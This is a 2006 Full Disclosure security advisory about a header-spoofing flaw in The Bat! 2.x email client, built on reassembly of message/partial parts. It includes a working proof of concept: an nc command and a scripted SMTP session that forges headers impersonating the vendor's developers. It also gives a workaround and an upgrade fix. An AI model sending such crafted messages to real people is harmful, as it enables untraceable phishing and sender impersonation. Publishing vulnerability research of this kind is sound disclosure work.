Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

SECURITY.NNOV: The Bat! 2.x message headers spoofing
From: 3APA3A <3APA3A () SECURITY NNOV RU>
Date: Mon, 6 Feb 2006 21:01:42 +0300


Title:            The Bat! 2.x message headers spoofing
Author:           3APA3A <3APA3A () security nnov ru>
Homepage:         http://www.security.nnov.ru/
Advisory URL:     http://www.security.nnov.ru/advisories/thebatspoof.asp
Vendor:           RitLabs
Vendor's page     http://thebat.net/
Application:      The Bat 2.x (2.12.04 tested)
Not vulnerable:   The Bat! 3.5
Remote:           Yes, against client
Category:         Information spoofing

Intro:

The   Bat!   is   very  convenient,  powerful and secure (comparing with
others)   MUA  (Mail  User  Agent)  with  many  professional  features:
templates,  macroses,  Bayesian  SPAM  filter,  etc.  This is commercial
product from RitLabs.

Vulnerability:

Design  flow  in  the  way The Bat! shows message/partial messages allow
attacker  to  spoof RFC 822 headers or original message, including _all_
Received:  and  Message-ID:.  It makes it possible to create untrackable
message and spoof message origin, including sender's network.

Details:

The  Bat!  silently  re-assembles partial message and shows encapsulated
data.  The  headers shown are ones of encapsulated message. Real headers
are lost completely.

Exploit:

Replace @example.com with destination address
nc ip_of_smtp_relay 25 <thebatexploit.txt


-=-=-=-=- begin thebatexploit.txt -=-=-=-=-
HELO example.com
MAIL FROM: <phiby () example com>
RCPT TO: <phiby () example com>
DATA
Date: Mon, 31 Jan 2006 13:30:00 +0300
From: 3APA3A <phiby () example com>
X-Mailer: The Bat! (v2.12.00)
Organization: http://www.security.nnov.ru/
X-Priority: 3 (Normal)
Message-ID: <994591752.20060130184706 () thebat net>
To: Phiby <phiby () example com>
Subject: Subject: Re[7]: //
Message-ID: <p#1split () ACB0994591752 20060130184706@thebat.net>
MIME-Version: 1.0
Content-Type: message/partial; id="split () ACB0994591752 20060130184706@thebat.net";
        number=1; total=2

Received: from mail.ritlabs.com (mail.ritlabs.com [198.63.208.135])
        by mail.example.com (Postfix) with ESMTP id 9F89619EBEB
        for <phiby () example com>; Mon, 31 Jan 2006 13:30:06 +0300 (MSK)
Date: Mon, 31 Jan 2006 13:30:06 +0300
From: The Bat! developers <bugs () thebat net>
X-Mailer: The Bat! (v2.12.00)
Organization: RitLabs
X-Priority: 3 (Normal)
Message-ID: <994591752.20060130184706 () thebat net>
To: Phiby <phiby () example com>
Subject: Subject: Re[7]: //
MIME-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: 8bit

Dear Phiby,

Best wishes for you and http://phiby.com/
.
RSET
MAIL FROM: <phiby () example com>
RCPT TO: <phiby () example com>
DATA
Date: Mon, 30 Jan 2006 13:30:06 +0300
From: 3APA3A <phiby () example com>
Organization: http://www.security.nnov.ru/
X-Mailer: The Bat! (v2.12.00)
Organization: Microsoft
X-Priority: 3 (Normal)
Message-ID: <994591752.20060130184706 () thebat net>
To: Phiby <phiby () example com>
Subject: Subject: Re[7]: //
Message-ID: <p#2split () ACB0994591752 20060130184706@microsof.com>
MIME-Version: 1.0
Content-Type: message/partial; id="split () ACB0994591752 20060130184706@thebat.net";
        number=2; total=2

Yours, The Bat! develpment team.
.
QUIT
-=-=-=-=-  end thebatexploit.txt  -=-=-=-=-

Workaround:

Do not trust data The Bat! shows in headers.

Solution:

Upgrade to The Bat! 3.x (not free)








-- 
http://www.security.nnov.ru
         /\_/\
        { , . }     |\
+--oQQo->{ ^ }<-----+ \
|  ZARAZA  U  3APA3A   } You know my name - look up my number (The Beatles)
+-------------o66o--+ /
                    |/


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • SECURITY.NNOV: The Bat! 2.x message headers spoofing 3APA3A (Feb 06)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault